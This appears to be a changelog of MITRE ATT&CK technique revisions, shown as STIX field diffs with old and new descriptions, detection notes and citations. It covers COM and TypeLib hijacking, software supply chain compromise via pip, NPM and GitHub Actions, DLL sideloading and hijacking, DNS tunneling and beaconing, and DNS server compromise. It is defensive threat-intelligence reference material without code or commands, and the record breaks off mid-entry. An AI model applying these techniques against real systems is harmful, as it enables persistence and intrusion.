| description | Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. COM is a system within Windows to enable interaction between software components through the operating system.(Citation: Microsoft Component Object Model) References to various COM objects are stored in the Registry. + +Adversaries can use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead.(Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection. | Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. COM is a system within Windows to enable interaction between software components through the operating system.(Citation: Microsoft Component Object Model) References to various COM objects are stored in the Registry. + +Adversaries may use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead.(Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection. + +One variation of COM hijacking involves abusing Type Libraries (TypeLibs), which provide metadata about COM objects, such as their interfaces and methods. Adversaries may modify Registry keys associated with TypeLibs to redirect legitimate COM object functionality to malicious scripts or payloads. Unlike traditional COM hijacking, which commonly uses local DLLs, this variation may leverage the "script:" moniker to execute remote scripts hosted on external servers.(Citation: RELIAQUEST) This approach enables stealthy execution of code while maintaining persistence, as the remote payload would be automatically downloaded whenever the hijacked COM object is accessed. |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_detection | There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations (ex: [Reg](https://attack.mitre.org/software/S0075)) replacing known binary paths with unknown paths or otherwise malicious content. Even though some third-party applications define user COM objects, the presence of objects within HKEY_CURRENT_USER\Software\Classes\CLSID\ may be anomalous and should be investigated since user objects will be loaded prior to machine objects in HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\.(Citation: Elastic COM Hijacking) Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated. + +Likewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed. | |
| x_mitre_version | 1.2 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'RELIAQUEST', 'description': 'RELIAQUEST THREAT RESEARCH TEAM. (2025, April 11). Threat Spotlight: Hijacked and Hidden: New Backdoor and Persistence Technique. Retrieved June 27, 2025.', 'url': 'https://reliaquest.com/blog/threat-spotlight-hijacked-and-hidden-new-backdoor-and-persistence-technique/'} | |
| x_mitre_contributors | ReliaQuest |
Current version: 1.3
Version changed from: 1.2 → 1.3
+| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may manipulate software dependencies and develop | t | 1 | Adversaries may manipulate software dependencies and develop |
| > | ment tools prior to receipt by a final consumer for the purp | > | ment tools prior to receipt by a final consumer for the purp | ||
| > | ose of data or system compromise. Applications often depend | > | ose of data or system compromise. Applications often depend | ||
| > | on external software to function properly. Popular open sour | > | on external software to function properly. Popular open sour | ||
| > | ce projects that are used as dependencies in many applicatio | > | ce projects that are used as dependencies in many applicatio | ||
| > | ns may be targeted as a means to add malicious code to users | > | ns, such as pip and NPM packages, may be targeted as a means | ||
| > | of the dependency.(Citation: Trendmicro NPM Compromise) | > | to add malicious code to users of the dependency.(Citation: | ||
| > | Targeting may be specific to a desired victim set or may be | > | Trendmicro NPM Compromise)(Citation: Bitdefender NPM Reposi | ||
| > | distributed to a broad set of consumers but only move on to | > | tories Compromised 2021)(Citation: MANDVI Malicious npm and | ||
| > | additional tactics on specific victims. | > | PyPI Packages Disguised) This may also include abandoned pac | ||
| > | kages, which in some cases could be re-registered by threat | ||||
| > | actors after being removed by adversaries.(Citation: The Hac | ||||
| > | ker News PyPi Revival Hijack 2024) Adversaries may also empl | ||||
| > | oy "typosquatting" or name-confusion by choosing names simil | ||||
| > | ar to existing popular libraries or packages in order to dec | ||||
| > | eive a user.(Citation: Ahmed Backdoors in Python and NPM Pac | ||||
| > | kages)(Citation: Meyer PyPI Supply Chain Attack Uncovered)(C | ||||
| > | itation: Checkmarx-oss-seo) Additionally, CI/CD pipeline co | ||||
| > | mponents, such as GitHub Actions, may be targeted in order t | ||||
| > | o gain access to the building, testing, and deployment cycle | ||||
| > | s of an application.(Citation: Unit 42 Palo Alto GitHub Acti | ||||
| > | ons Supply Chain Attack 2025) By adding malicious code into | ||||
| > | a GitHub action, a threat actor may be able to collect runti | ||||
| > | me credentials (e.g., via [Proc Filesystem](https://attack.m | ||||
| > | itre.org/techniques/T1003/007)) or insert further malicious | ||||
| > | components into the build pipelines for a second-order suppl | ||||
| > | y chain compromise.(Citation: OWASP CICD-SEC-4) As GitHub Ac | ||||
| > | tions are often dependent on other GitHub Actions, threat ac | ||||
| > | tors may be able to infect a large number of repositories vi | ||||
| > | a the compromise of a single Action.(Citation: Palo Alto Net | ||||
| > | works GitHub Actions Worm 2023) Targeting may be specific t | ||||
| > | o a desired victim set or may be distributed to a broad set | ||||
| > | of consumers but only move on to additional tactics on speci | ||||
| > | fic victims. | ||||
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Enis Aksu', 'Joe Gumke, U.S. Bank', 'Liran Ravich, CardinalOps'] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Metadata'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:08:13.223000+00:00 | 2025-10-24 17:48:27.436000+00:00 |
| description | Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications may be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise) + +Targeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. | Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications, such as pip and NPM packages, may be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise)(Citation: Bitdefender NPM Repositories Compromised 2021)(Citation: MANDVI Malicious npm and PyPI Packages Disguised) This may also include abandoned packages, which in some cases could be re-registered by threat actors after being removed by adversaries.(Citation: The Hacker News PyPi Revival Hijack 2024) Adversaries may also employ "typosquatting" or name-confusion by choosing names similar to existing popular libraries or packages in order to deceive a user.(Citation: Ahmed Backdoors in Python and NPM Packages)(Citation: Meyer PyPI Supply Chain Attack Uncovered)(Citation: Checkmarx-oss-seo) + +Additionally, CI/CD pipeline components, such as GitHub Actions, may be targeted in order to gain access to the building, testing, and deployment cycles of an application.(Citation: Unit 42 Palo Alto GitHub Actions Supply Chain Attack 2025) By adding malicious code into a GitHub action, a threat actor may be able to collect runtime credentials (e.g., via [Proc Filesystem](https://attack.mitre.org/techniques/T1003/007)) or insert further malicious components into the build pipelines for a second-order supply chain compromise.(Citation: OWASP CICD-SEC-4) As GitHub Actions are often dependent on other GitHub Actions, threat actors may be able to infect a large number of repositories via the compromise of a single Action.(Citation: Palo Alto Networks GitHub Actions Worm 2023) + +Targeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_detection | Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. | |
| x_mitre_version | 1.2 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Palo Alto Networks GitHub Actions Worm 2023', 'description': 'Asi Greenholts. (2023, September 14). The GitHub Actions Worm: Compromising GitHub Repositories Through the Actions Dependency Tree. Retrieved May 22, 2025.', 'url': 'https://www.paloaltonetworks.com/blog/cloud-security/github-actions-worm-dependencies/'} | |
| external_references | {'source_name': 'Meyer PyPI Supply Chain Attack Uncovered', 'description': 'Darren Meyer. (2025, May 28). PyPI Supply Chain Attack Uncovered: Colorama and Colorizr Name Confusion. Retrieved September 24, 2025.', 'url': 'https://checkmarx.com/zero-post/python-pypi-supply-chain-attack-colorama/'} | |
| external_references | {'source_name': 'Ahmed Backdoors in Python and NPM Packages', 'description': 'Deeba Ahmed. (2025, June 2). Backdoors in Python and NPM Packages Target Windows and Linux. Retrieved September 24, 2025.', 'url': 'https://hackread.com/backdoors-python-npm-packages-windows-linux/'} | |
| external_references | {'source_name': 'MANDVI Malicious npm and PyPI Packages Disguised', 'description': 'MANDVI. (2025, April 22). Malicious npm and PyPI Packages Disguised as Dev Tools to Steal Credentials. Retrieved September 24, 2025.', 'url': 'https://cyberpress.org/malicious-npm-and-pypi-packages-disguised-as-dev-tools'} | |
| external_references | {'source_name': 'Unit 42 Palo Alto GitHub Actions Supply Chain Attack 2025', 'description': 'Omer Gilm Aviad Hahami, Asi Greenholts, and Yaron Avital. (2025, March 20). GitHub Actions Supply Chain Attack: A Targeted Attack on Coinbase Expanded to the Widespread tj-actions/changed-files Incident: Threat Assessment . Retrieved May 22, 2025.', 'url': 'https://unit42.paloaltonetworks.com/github-actions-supply-chain-attack'} | |
| external_references | {'source_name': 'OWASP CICD-SEC-4', 'description': 'OWASP. (n.d.). CICD-SEC-4: Poisoned Pipeline Execution (PPE). Retrieved May 22, 2025.', 'url': 'https://owasp.org/www-project-top-10-ci-cd-security-risks/CICD-SEC-04-Poisoned-Pipeline-Execution'} | |
| external_references | {'source_name': 'The Hacker News PyPi Revival Hijack 2024', 'description': 'Ravie Lakshmanan. (2024, September 4). Researchers Find Over 22,000 Removed PyPI Packages at Risk of Revival Hijack. Retrieved May 22, 2025.', 'url': 'https://thehackernews.com/2024/09/hackers-hijack-22000-removed-pypi.html'} | |
| external_references | {'source_name': 'Bitdefender NPM Repositories Compromised 2021', 'description': 'Silviu Stahie. (2021, November 8). Popular NPM Repositories Compromised in Man-in-the-Middle Attack. Retrieved May 22, 2025.', 'url': 'https://www.bitdefender.com/en-gb/blog/hotforsecurity/popular-npm-repositories-compromised-in-man-in-the-middle-attack'} | |
| external_references | {'source_name': 'Checkmarx-oss-seo', 'description': 'Yehuda Gelb. (2024, April 10). New Technique to Trick Developers Detected in an Open Source Supply Chain Attack. Retrieved June 18, 2024.', 'url': 'https://checkmarx.com/blog/new-technique-to-trick-developers-detected-in-an-open-source-supply-chain-attack/'} |
Current version: 2.1
Version changed from: 2.0 → 2.1
+| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse dynamic-link library files (DLLs) in o | t | 1 | Adversaries may abuse dynamic-link library files (DLLs) in o |
| > | rder to achieve persistence, escalate privileges, and evade | > | rder to achieve persistence, escalate privileges, and evade | ||
| > | defenses. DLLs are libraries that contain code and data that | > | defenses. DLLs are libraries that contain code and data that | ||
| > | can be simultaneously utilized by multiple programs. While | > | can be simultaneously utilized by multiple programs. While | ||
| > | DLLs are not malicious by nature, they can be abused through | > | DLLs are not malicious by nature, they can be abused through | ||
| > | mechanisms such as side-loading, hijacking search order, an | > | mechanisms such as side-loading, hijacking search order, an | ||
| > | d phantom DLL hijacking.(Citation: unit 42) Specific ways D | > | d phantom DLL hijacking.(Citation: unit 42) Specific ways D | ||
| > | LLs are abused by adversaries include: ### DLL Sideloading | > | LLs are abused by adversaries include: ### DLL Sideloading | ||
| > | Adversaries may execute their own malicious payloads by side | > | Adversaries may execute their own malicious payloads by side | ||
| > | -loading DLLs. Side-loading involves hijacking which DLL a p | > | -loading DLLs. Side-loading involves hijacking which DLL a p | ||
| > | rogram loads by planting and then invoking a legitimate appl | > | rogram loads by planting and then invoking a legitimate appl | ||
| > | ication that executes their payload(s). Side-loading positi | > | ication that executes their payload(s). Side-loading positi | ||
| > | ons both the victim application and malicious payload(s) alo | > | ons both the victim application and malicious payload(s) alo | ||
| > | ngside each other. Adversaries likely use side-loading as a | > | ngside each other. Adversaries likely use side-loading as a | ||
| > | means of masking actions they perform under a legitimate, tr | > | means of masking actions they perform under a legitimate, tr | ||
| > | usted, and potentially elevated system or software process. | > | usted, and potentially elevated system or software process. | ||
| > | Benign executables used to side-load payloads may not be fla | > | Benign executables used to side-load payloads may not be fla | ||
| > | gged during delivery and/or execution. Adversary payloads ma | > | gged during delivery and/or execution. Adversary payloads ma | ||
| > | y also be encrypted/packed or otherwise obfuscated until loa | > | y also be encrypted/packed or otherwise obfuscated until loa | ||
| > | ded into the memory of the trusted process. Adversaries may | > | ded into the memory of the trusted process. Adversaries may | ||
| > | also side-load other packages, such as BPLs (Borland Packag | > | also side-load other packages, such as BPLs (Borland Packag | ||
| > | e Library).(Citation: kroll bpl) ### DLL Search Order Hijac | > | e Library).(Citation: kroll bpl) Adversaries may chain DLL | ||
| > | king Adversaries may execute their own malicious payloads by | > | sideloading multiple times to fragment functionality hinderi | ||
| > | hijacking the search order that Windows uses to load DLLs. | > | ng analysis. Adversaries using multiple DLL files can split | ||
| > | This search order is a sequence of special and standard sear | > | the loader functions across different DLLs, with a main DLL | ||
| > | ch locations that a program checks when loading a DLL. An ad | > | loading the separated export functions. (Citation: Virus Bul | ||
| > | versary can plant a trojan DLL in a directory that will be p | > | letin) Spreading loader functions across multiple DLLs makes | ||
| > | rioritized by the DLL search order over the location of a le | > | analysis harder, since all files must be collected to fully | ||
| > | gitimate library. This will cause Windows to load the malici | > | understand the malware’s behavior. Another method implemen | ||
| > | ous DLL when it is called for by the victim program.(Citatio | > | ts a “loader-for-a-loader”, where a malicious DLL’s sole rol | ||
| > | n: unit 42) ### DLL Redirection Adversaries may directly mo | > | e is to load a second DLL (or a chain of DLLs) that contain | ||
| > | dify the search order via DLL redirection, which after being | > | the real payload. (Citation: Sophos) ### DLL Search Order H | ||
| > | enabled (in the Registry or via the creation of a redirecti | > | ijacking Adversaries may execute their own malicious payload | ||
| > | on file) may cause a program to load a DLL from a different | > | s by hijacking the search order that Windows uses to load DL | ||
| > | location.(Citation: Microsoft redirection)(Citation: Microso | > | Ls. This search order is a sequence of special and standard | ||
| > | ft - manifests/assembly) ### Phantom DLL Hijacking Adversar | > | search locations that a program checks when loading a DLL. A | ||
| > | ies may leverage phantom DLL hijacking by targeting referenc | > | n adversary can plant a trojan DLL in a directory that will | ||
| > | es to non-existent DLL files. They may be able to load their | > | be prioritized by the DLL search order over the location of | ||
| > | own malicious DLL by planting it with the correct name in t | > | a legitimate library. This will cause Windows to load the ma | ||
| > | he location of the missing module.(Citation: Hexacorn DLL Hi | > | licious DLL when it is called for by the victim program.(Cit | ||
| > | jacking)(Citation: Hijack DLLs CrowdStrike) ### DLL Substit | > | ation: unit 42) ### DLL Redirection Adversaries may directl | ||
| > | ution Adversaries may target existing, valid DLL files and s | > | y modify the search order via DLL redirection, which after b | ||
| > | ubstitute them with their own malicious DLLs, planting them | > | eing enabled (in the Registry or via the creation of a redir | ||
| > | with the same name and in the same location as the valid DLL | > | ection file) may cause a program to load a DLL from a differ | ||
| > | file.(Citation: Wietze Beukema DLL Hijacking) Programs tha | > | ent location.(Citation: Microsoft redirection)(Citation: Mic | ||
| > | t fall victim to DLL hijacking may appear to behave normally | > | rosoft - manifests/assembly) ### Phantom DLL Hijacking Adve | ||
| > | because malicious DLLs may be configured to also load the l | > | rsaries may leverage phantom DLL hijacking by targeting refe | ||
| > | egitimate DLLs they were meant to replace, evading defenses. | > | rences to non-existent DLL files. They may be able to load t | ||
| > | Remote DLL hijacking can occur when a program sets its cur | > | heir own malicious DLL by planting it with the correct name | ||
| > | rent directory to a remote location, such as a Web share, be | > | in the location of the missing module.(Citation: Hexacorn DL | ||
| > | fore loading a DLL.(Citation: dll pre load owasp)(Citation: | > | L Hijacking)(Citation: Hijack DLLs CrowdStrike) ### DLL Sub | ||
| > | microsoft remote preloading) If a valid DLL is configured t | > | stitution Adversaries may target existing, valid DLL files a | ||
| > | o run at a higher privilege level, then the adversary-contro | > | nd substitute them with their own malicious DLLs, planting t | ||
| > | lled DLL that is loaded will also be executed at the higher | > | hem with the same name and in the same location as the valid | ||
| > | level. In this case, the technique could be used for privile | > | DLL file.(Citation: Wietze Beukema DLL Hijacking) Programs | ||
| > | ge escalation. | > | that fall victim to DLL hijacking may appear to behave norm | ||
| > | ally because malicious DLLs may be configured to also load t | ||||
| > | he legitimate DLLs they were meant to replace, evading defen | ||||
| > | ses. Remote DLL hijacking can occur when a program sets its | ||||
| > | current directory to a remote location, such as a Web share | ||||
| > | , before loading a DLL.(Citation: dll pre load owasp)(Citati | ||||
| > | on: microsoft remote preloading) If a valid DLL is configur | ||||
| > | ed to run at a higher privilege level, then the adversary-co | ||||
| > | ntrolled DLL that is loaded will also be executed at the hig | ||||
| > | her level. In this case, the technique could be used for pri | ||||
| > | vilege escalation. | ||||
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Modification', 'Process: Process Creation', 'Module: Module Load', 'File: File Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 18:24:47.533000+00:00 | 2025-10-24 17:48:35.900000+00:00 |
| description | Adversaries may abuse dynamic-link library files (DLLs) in order to achieve persistence, escalate privileges, and evade defenses. DLLs are libraries that contain code and data that can be simultaneously utilized by multiple programs. While DLLs are not malicious by nature, they can be abused through mechanisms such as side-loading, hijacking search order, and phantom DLL hijacking.(Citation: unit 42) + +Specific ways DLLs are abused by adversaries include: + +### DLL Sideloading +Adversaries may execute their own malicious payloads by side-loading DLLs. Side-loading involves hijacking which DLL a program loads by planting and then invoking a legitimate application that executes their payload(s). + +Side-loading positions both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process. + +Adversaries may also side-load other packages, such as BPLs (Borland Package Library).(Citation: kroll bpl) + +### DLL Search Order Hijacking +Adversaries may execute their own malicious payloads by hijacking the search order that Windows uses to load DLLs. This search order is a sequence of special and standard search locations that a program checks when loading a DLL. An adversary can plant a trojan DLL in a directory that will be prioritized by the DLL search order over the location of a legitimate library. This will cause Windows to load the malicious DLL when it is called for by the victim program.(Citation: unit 42) + +### DLL Redirection +Adversaries may directly modify the search order via DLL redirection, which after being enabled (in the Registry or via the creation of a redirection file) may cause a program to load a DLL from a different location.(Citation: Microsoft redirection)(Citation: Microsoft - manifests/assembly) + +### Phantom DLL Hijacking +Adversaries may leverage phantom DLL hijacking by targeting references to non-existent DLL files. They may be able to load their own malicious DLL by planting it with the correct name in the location of the missing module.(Citation: Hexacorn DLL Hijacking)(Citation: Hijack DLLs CrowdStrike) + +### DLL Substitution +Adversaries may target existing, valid DLL files and substitute them with their own malicious DLLs, planting them with the same name and in the same location as the valid DLL file.(Citation: Wietze Beukema DLL Hijacking) + +Programs that fall victim to DLL hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace, evading defenses. + +Remote DLL hijacking can occur when a program sets its current directory to a remote location, such as a Web share, before loading a DLL.(Citation: dll pre load owasp)(Citation: microsoft remote preloading) + +If a valid DLL is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation. | Adversaries may abuse dynamic-link library files (DLLs) in order to achieve persistence, escalate privileges, and evade defenses. DLLs are libraries that contain code and data that can be simultaneously utilized by multiple programs. While DLLs are not malicious by nature, they can be abused through mechanisms such as side-loading, hijacking search order, and phantom DLL hijacking.(Citation: unit 42) + +Specific ways DLLs are abused by adversaries include: + +### DLL Sideloading +Adversaries may execute their own malicious payloads by side-loading DLLs. Side-loading involves hijacking which DLL a program loads by planting and then invoking a legitimate application that executes their payload(s). + +Side-loading positions both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process. + +Adversaries may also side-load other packages, such as BPLs (Borland Package Library).(Citation: kroll bpl) + +Adversaries may chain DLL sideloading multiple times to fragment functionality hindering analysis. Adversaries using multiple DLL files can split the loader functions across different DLLs, with a main DLL loading the separated export functions. (Citation: Virus Bulletin) Spreading loader functions across multiple DLLs makes analysis harder, since all files must be collected to fully understand the malware’s behavior. Another method implements a “loader-for-a-loader”, where a malicious DLL’s sole role is to load a second DLL (or a chain of DLLs) that contain the real payload. (Citation: Sophos) + +### DLL Search Order Hijacking +Adversaries may execute their own malicious payloads by hijacking the search order that Windows uses to load DLLs. This search order is a sequence of special and standard search locations that a program checks when loading a DLL. An adversary can plant a trojan DLL in a directory that will be prioritized by the DLL search order over the location of a legitimate library. This will cause Windows to load the malicious DLL when it is called for by the victim program.(Citation: unit 42) + +### DLL Redirection +Adversaries may directly modify the search order via DLL redirection, which after being enabled (in the Registry or via the creation of a redirection file) may cause a program to load a DLL from a different location.(Citation: Microsoft redirection)(Citation: Microsoft - manifests/assembly) + +### Phantom DLL Hijacking +Adversaries may leverage phantom DLL hijacking by targeting references to non-existent DLL files. They may be able to load their own malicious DLL by planting it with the correct name in the location of the missing module.(Citation: Hexacorn DLL Hijacking)(Citation: Hijack DLLs CrowdStrike) + +### DLL Substitution +Adversaries may target existing, valid DLL files and substitute them with their own malicious DLLs, planting them with the same name and in the same location as the valid DLL file.(Citation: Wietze Beukema DLL Hijacking) + +Programs that fall victim to DLL hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace, evading defenses. + +Remote DLL hijacking can occur when a program sets its current directory to a remote location, such as a Web share, before loading a DLL.(Citation: dll pre load owasp)(Citation: microsoft remote preloading) + +If a valid DLL is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation. |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_detection | Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of `.manifest` and `.local` redirection files that do not correlate with software updates are suspicious. | |
| x_mitre_version | 2.0 | 2.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Sophos', 'description': 'Gabor Szappanos. (2023, May 3). A doubled “Dragon Breath” adds new air to DLL sideloading attacks. Retrieved October 3, 2025.', 'url': 'https://news.sophos.com/en-us/2023/05/03/doubled-dll-sideloading-dragon-breath/'} | |
| external_references | {'source_name': 'Virus Bulletin', 'description': 'Suguru Ishimaru, Hajime Yanagishita, Yusuke Niwa. (2023, October 5). Unveiling activities of Tropic Trooper 2023: deep analysis of Xiangoop Loader and EntryShell payload. Retrieved October 3, 2025.', 'url': 'https://www.virusbulletin.com/conference/vb2023/abstracts/unveiling-activities-tropic-trooper-2023-deep-analysis-xiangoop-loader-and-entryshell-payload/'} |
Current version: 1.4
Version changed from: 1.3 → 1.4
+| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may communicate using the Domain Name System (DN | t | 1 | Adversaries may communicate using the Domain Name System (DN |
| > | S) application layer protocol to avoid detection/network fil | > | S) application layer protocol to avoid detection/network fil | ||
| > | tering by blending in with existing traffic. Commands to the | > | tering by blending in with existing traffic. Commands to the | ||
| > | remote system, and often the results of those commands, wil | > | remote system, and often the results of those commands, wil | ||
| > | l be embedded within the protocol traffic between the client | > | l be embedded within the protocol traffic between the client | ||
| > | and server. The DNS protocol serves an administrative fun | > | and server. The DNS protocol serves an administrative fun | ||
| > | ction in computer networking and thus may be very common in | > | ction in computer networking and thus may be very common in | ||
| > | environments. DNS traffic may also be allowed even before ne | > | environments. DNS traffic may also be allowed even before ne | ||
| > | twork authentication is completed. DNS packets contain many | > | twork authentication is completed. DNS packets contain many | ||
| > | fields and headers in which data can be concealed. Often kno | > | fields and headers in which data can be concealed. Often kno | ||
| > | wn as DNS tunneling, adversaries may abuse DNS to communicat | > | wn as DNS tunneling, adversaries may abuse DNS to communicat | ||
| > | e with systems under their control within a victim network w | > | e with systems under their control within a victim network w | ||
| > | hile also mimicking normal, expected traffic.(Citation: PAN | > | hile also mimicking normal, expected traffic.(Citation: PAN | ||
| > | DNS Tunneling)(Citation: Medium DnsTunneling) | > | DNS Tunneling)(Citation: Medium DnsTunneling) DNS beaconing | ||
| > | may be used to send commands to remote systems via DNS quer | ||||
| > | ies. A DNS beacon is created by tunneling DNS traffic (i.e. | ||||
| > | [Protocol Tunneling](https://attack.mitre.org/techniques/T15 | ||||
| > | 72)). The commands may be embedded into different DNS record | ||||
| > | s, for example, TXT or A records.(Citation: OilRig Uses Upda | ||||
| > | ted BONDUPDATER to Target Middle Eastern Government) DNS bea | ||||
| > | cons may be difficult to detect because the beacons infreque | ||||
| > | ntly communicate with infected devices.(Citation: DNS Beacon | ||||
| > | s) Infrequent communication conceals the malicious DNS traff | ||||
| > | ic with normal DNS traffic. | ||||
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:10.065000+00:00 | 2025-10-24 17:48:27.877000+00:00 |
| description | Adversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. + +The DNS protocol serves an administrative function in computer networking and thus may be very common in environments. DNS traffic may also be allowed even before network authentication is completed. DNS packets contain many fields and headers in which data can be concealed. Often known as DNS tunneling, adversaries may abuse DNS to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.(Citation: PAN DNS Tunneling)(Citation: Medium DnsTunneling) | Adversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. + +The DNS protocol serves an administrative function in computer networking and thus may be very common in environments. DNS traffic may also be allowed even before network authentication is completed. DNS packets contain many fields and headers in which data can be concealed. Often known as DNS tunneling, adversaries may abuse DNS to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.(Citation: PAN DNS Tunneling)(Citation: Medium DnsTunneling) + +DNS beaconing may be used to send commands to remote systems via DNS queries. A DNS beacon is created by tunneling DNS traffic (i.e. [Protocol Tunneling](https://attack.mitre.org/techniques/T1572)). The commands may be embedded into different DNS records, for example, TXT or A records.(Citation: OilRig Uses Updated BONDUPDATER to Target Middle Eastern Government) DNS beacons may be difficult to detect because the beacons infrequently communicate with infected devices.(Citation: DNS Beacons) Infrequent communication conceals the malicious DNS traffic with normal DNS traffic. |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_detection | Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2) + +Monitor for DNS traffic to/from known-bad or suspicious domains. | |
| x_mitre_version | 1.3 | 1.4 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'OilRig Uses Updated BONDUPDATER to Target Middle Eastern Government', 'description': 'Kyle Wilhoit, Robert Falcone. (2018, September 12). OilRig Uses Updated BONDUPDATER to Target Middle Eastern Government. Retrieved July 21, 2025.', 'url': 'https://unit42.paloaltonetworks.com/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government/'} | |
| external_references | {'source_name': 'DNS Beacons', 'description': 'Vercara. (n.d.). Retrieved July 21, 2025.', 'url': 'https://vercara.digicert.com/resources/dns-beacons#page_top'} |
Current version: 1.3
Version changed from: 1.2 → 1.3
+| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may compromise third-party DNS servers that can | t | 1 | Adversaries may compromise third-party DNS servers that can |
| > | be used during targeting. During post-compromise activity, a | > | be used during targeting. During post-compromise activity, a | ||
| > | dversaries may utilize DNS traffic for various tasks, includ | > | dversaries may utilize DNS traffic for various tasks, includ | ||
| > | ing for Command and Control (ex: [Application Layer Protocol | > | ing for Command and Control (ex: [Application Layer Protocol | ||
| > | ](https://attack.mitre.org/techniques/T1071)). Instead of se | > | ](https://attack.mitre.org/techniques/T1071)). Instead of se | ||
| > | tting up their own DNS servers, adversaries may compromise t | > | tting up their own DNS servers, adversaries may compromise t | ||
| > | hird-party DNS servers in support of operations. By comprom | > | hird-party DNS servers in support of operations. By comprom | ||
| > | ising DNS servers, adversaries can alter DNS records. Such c | > | ising DNS servers, adversaries can alter DNS records. Such c | ||
| > | ontrol can allow for redirection of an organization's traffi | > | ontrol can allow for redirection of an organization's traffi | ||
| > | c, facilitating Collection and Credential Access efforts for | > | c, facilitating Collection and Credential Access efforts for | ||
